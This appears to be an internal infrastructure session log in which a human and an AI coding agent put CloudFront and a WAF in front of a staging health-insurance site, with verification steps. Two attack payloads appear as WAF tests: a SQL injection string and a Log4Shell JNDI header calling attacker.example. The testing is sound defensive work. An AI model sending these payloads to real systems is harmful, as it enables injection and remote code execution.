Skip to content
AskFlorence
Main Navigation ArchitectureFlorence AIAgentsMembersAgent PlatformValidationInfrastructure

Appearance

Sidebar Navigation

Overview

Home

Glossary

System Architecture

Consumer & Agent Flow

Florence AI

Overview

Principles

Runtime

Tool surface

Adding a tool

Tool registry

Knowledge: SBC scenarios & CSR

Voice

Evals & observability

Provider risk & portability

Outage playbook

Roadmap

Build plan

Agents

Overview

Workflows & pain points

Members

Overview

Medicaid coverage gap

Carriers

Overview

Marketplaces

Overview

Agency

Overview

Regulations

Overview

Agent Platform

Overview

Auth Architecture

MongoDB Permissioning

Compliance Model

Data Models

Data Sources

Overview

CMS Marketplace API

CMS dependency map

PUF Data

State Subsidies

SBE Ingestion Playbook

SBE State Watchouts + Decisions

CA Phase C/D Playbook

NY Phase C/D Playbook

Validation

Overview

Methodology

APTC Formula

California 2026

New York 2026

CAPS Formula

Scenario Results

Infrastructure

Account Inventory

AWS Setup Runbook

AWS Organizations

CloudTrail

GuardDuty

Security Hub

Config

CloudFront + WAFv2

Data sources & ingest

Phase 4 DNS

Change Log

Vulnerability Management

MongoDB Setup

Access Control

Data Classification

Documentation Hosting

Post-deploy Smoke

Development

Preflight (local CI mirror)

Testing strategy

Compliance

Overview (auditor entry point)

SOC 2 Control Mapping

HIPAA Control Mapping

CMS EDE Appendix A Mapping

Risk Assessment

Encryption Policy

Data Retention Policy

Privacy Impact Assessment

Consent Capture & Versioning

Incident Response Plan

Access Control Policy

Marketing vs. Portal Analytics

Vendor / Subprocessor Register

Dependency Vulnerability Policy

BAA / Compliance Evidence

Compliance-Automation Integration

Compliance-Automation Vendor Evaluation

Penetration Test Reports

Architecture

Portal entry handoff

Mobile app strategy

Deferred architecture decisions

Session cookie architecture

Share flows

Decisions (ADRs)

Index

0001 — Atlas project isolation

0002 — Append-only audit log

0003 — Narrow-scoped Mongo users

0004 — Cross-cluster Atlas PrivateLink

0005 — Delayed-job architecture

0006 — Mongo user simplification

0007 — Terraform owns ECS task def

0008 — E2E testing strategy

0009 — Self-hosted analytics + observability (superseded)

0010 — PostHog HIPAA Cloud (supersedes 0009)

Runbooks

Security Incident Response

Break-Glass Root Login

Onboard Team Member

Offboard Team Member

Atlas user provisioning

Deploy via Terraform (ENG-277)

Rollback via Terraform (ENG-277)

S3 data bucket migration (planned Phase 11)

Access Reviews

2026-Q2 Review

Session log

Index

2026-04-23 — Phase 10 DNS cutover

2026-04-22 — Phase 8 prod AWS mirror

2026-04-22 — Phase 7 Atlas VPC peering

2026-04-22 — Phase 6 CloudFront + WAF

2026-04-21 — Phase 5 staging go-live

2026-04-17 — Atlas staging

Briefs

Index

Member portal plan (ENG-187)

2026-04-16/17 handoff

2026-04-17 Atlas handoff

System briefing (2026-04-17)

Creative AdBundance proposal brief

Creative AdBundance analytics brief

ElevenLabs RN integration research

Policies

Overview

On this page

Session log — 2026-04-22 — Phase 6 staging CloudFront + WAFv2 ​

Scope ​

Put a CloudFront distribution + WAFv2 web ACL in front of the staging ALB, attach a response-headers policy implementing the plan's IP-opacity and security-header rules, swing the public stage.askflorence.health A/AAAA alias from ALB → CloudFront, keep the ALB reachable via a new origin.stage.askflorence.health hostname for the CloudFront origin. No production traffic affected; Vercel askflorence.health and www.askflorence.health continue to serve production users unchanged.

Actor ​

  • Human: Taha Abbasi.
  • Agent: Claude Opus 4.7 (1M context), running in Claude Code CLI.

Tickets ​

  • Advances Issue #47 Phase 6.
  • Unblocks Phase 8 prod mirror — the infra/modules/cloudfront-waf/ module lands in its final shape here and Phase 8 just calls it again with a prod-scoped alias.

External systems touched ​

AWS (staging account 549136075525) ​

  • New CloudFront distribution EJQQLYE9IE4U9 (dk0jmb66fh49u.cloudfront.net). HTTPS-only origin, origin shield us-east-1, HTTP/2+HTTP/3, TLSv1.2_2021 minimum, ACM cert from Phase 4, alias stage.askflorence.health, price class PriceClass_100. Two cache behaviors: default = CachingDisabled + AllViewer (dynamic SSR + API routes), /_next/static/* = CachingOptimized + CORS-S3Origin (versioned static assets).
  • New WAFv2 web ACL askflorence-staging-web-acl (CLOUDFRONT scope). Default action Allow, six rules: AWSManagedRulesCommonRuleSet (prio 0), KnownBadInputsRuleSet (10), SQLiRuleSet (20), AmazonIpReputationList (30), AnonymousIpList (40), rate-based RateBasedBlanket (100) at 2000 req/5min/IP.
  • New CloudWatch log group aws-waf-logs-askflorence-staging-web-acl (14d retention, staging CMK). Named with aws-waf-logs- prefix per WAF's hard requirement. authorization + cookie headers redacted at WAF's logging layer.
  • New CloudWatch Logs resource policy askflorence-staging-waf-logs-delivery authorizing delivery.logs.amazonaws.com to write to aws-waf-logs-* in this account, constrained by aws:SourceAccount + aws:SourceArn to prevent the confused-deputy attack vector.
  • New CloudFront response-headers policy askflorence-staging-response-headers. Appends HSTS (1yr, includeSubDomains, preload), CSP, X-Frame-Options: DENY, Referrer-Policy: strict-origin-when-cross-origin, X-Content-Type-Options: nosniff. Overrides Server → AskFlorence. Strips X-Powered-By, X-AspNet-Version, X-AspNetMvc-Version. Via requested-to-strip was rejected by the CloudFront API despite docs listing it as valid — noted in module comments, kept out.
  • Route 53 changes in subzone stage.askflorence.health (Z06011002V7IQH7MBL1JY):
    • stage.askflorence.health A-alias: target updated in place from ALB → CloudFront (dk0jmb66fh49u.cloudfront.net). aws_route53_record.stage_alias Terraform address moved from alb.tf → cloudfront.tf, same address, so Terraform saw it as one UPSERT, not destroy+recreate. No DNS gap.
    • stage.askflorence.health AAAA-alias added → CloudFront (new, IPv6 viewers).
    • origin.stage.askflorence.health A-alias added → ALB. Covered by *.stage.askflorence.health wildcard SAN on the existing ACM cert so the CloudFront→ALB TLS handshake validates.
  • No IAM changes. Task role and execution role from Phase 5 are unchanged.

Cloudflare ​

  • Not touched. Cloudflare remains authoritative for apex askflorence.health (pointed at Vercel) and the stage.askflorence.health NS delegation added in Phase 4 still routes the staging subzone to Route 53. All staging DNS edits happened in Route 53 via Terraform.

Atlas, Vercel, Resend, PostHog, SES ​

  • Untouched. Phase 6 is a pure edge-networking change.

What shipped (module-level) ​

New module infra/modules/cloudfront-waf/:

  • versions.tf — pinned aws ~> 6.0, terraform ~> 1.14.
  • variables.tf — 18 inputs. Defaults chosen to produce sensible output without callers specifying everything; overridable for prod's larger price class + tighter rate rule.
  • main.tf — WAF web ACL, WAF logging configuration + CloudWatch log group + resource policy, response-headers policy, CloudFront distribution. 360-ish lines, heavy comments explaining the why of each non-obvious choice.
  • outputs.tf — distribution ID / domain / hosted zone ID, web ACL ARN, response-headers policy ID, WAF log group name.

Wiring: infra/envs/staging/cloudfront.tf (new) + one-line edit to infra/envs/staging/alb.tf swapping the Route 53 alias target.

Verification ​

All performed from Taha's laptop, public internet:

  1. Health + headers. curl -sSI https://stage.askflorence.health/api/health returned HTTP/2 200 + full security header set including server: AskFlorence, strict-transport-security: max-age=31536000; includeSubDomains; preload, content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ..., x-frame-options: DENY, referrer-policy: strict-origin-when-cross-origin, x-content-type-options: nosniff. CloudFront headers: x-cache: Miss from cloudfront, via: 1.1 <pop>.cloudfront.net (CloudFront), x-amz-cf-pop: LAX54-P10, alt-svc: h3=":443"; ma=86400 (HTTP/3).
  2. WAF blocks malicious traffic. GET https://stage.askflorence.health/?id=1%27%20OR%20%271%27=%271 → HTTP 403 (AWSManagedRulesSQLiRuleSet). GET https://stage.askflorence.health/ with header User-Agent: ${jndi:ldap://attacker.example/a} → HTTP 403 (AWSManagedRulesKnownBadInputsRuleSet). Both blocked before reaching the origin, confirming WAF is inline.
  3. WAF passes normal traffic. GET https://stage.askflorence.health/ → HTTP 200.
  4. Framework fingerprint stripped. X-Powered-By absent from every response header inspection.
  5. Origin reachability from CloudFront. Distribution Status Deployed per aws cloudfront get-distribution. No origin errors in ECS task logs during smoke testing.
  6. Route 53 records correct. aws route53 list-resource-record-sets shows stage.askflorence.health (A + AAAA) → dk0jmb66fh49u.cloudfront.net. and origin.stage.askflorence.health (A) → askflorence-staging-alb-*.elb.amazonaws.com..
  7. Vercel regression. None possible — no code or config change to Vercel.

What this session does NOT do ​

  • Does not touch production. askflorence.health + www.askflorence.health still served by Vercel, no DNS change at Cloudflare.
  • Does not enable CloudFront access logs. Audit evidence is covered by WAF logs + org-wide CloudTrail + existing ALB access logs. Access logs can be added in a follow-up if EDE audit prep requires them.
  • Does not set up real-time logging / Kinesis Data Streams. CloudWatch Logs direct ingestion is simpler and sufficient.
  • Does not add Lambda@Edge. Header scrubbing beyond the policy's allowed list (e.g. Via) would need it — not in scope.
  • Does not provision prod resources. Phase 8 mirror applies this module into infra/envs/prod/ with a different alias + cert.

Next ​

  • Phase 7 — staging Atlas VPC peering (replace NAT EIP allowlist entry with the staging VPC CIDR).
  • Phase 8 — prod mirror. Apply cloudfront-waf module in infra/envs/prod/ for the real askflorence.health front door. Existing M10 HIPAA Atlas cluster re-peered to prod VPC.
  • Phase 9-10 — canary, then Cloudflare apex CNAME flip Vercel → prod CloudFront.
Pager
Previous page2026-04-22 — Phase 7 Atlas VPC peering
Next page2026-04-21 — Phase 5 staging go-live

AskFlorence Internal Documentation. Not for public distribution.

AskFlorence

Internal Documentation

Access restricted. Not for public distribution.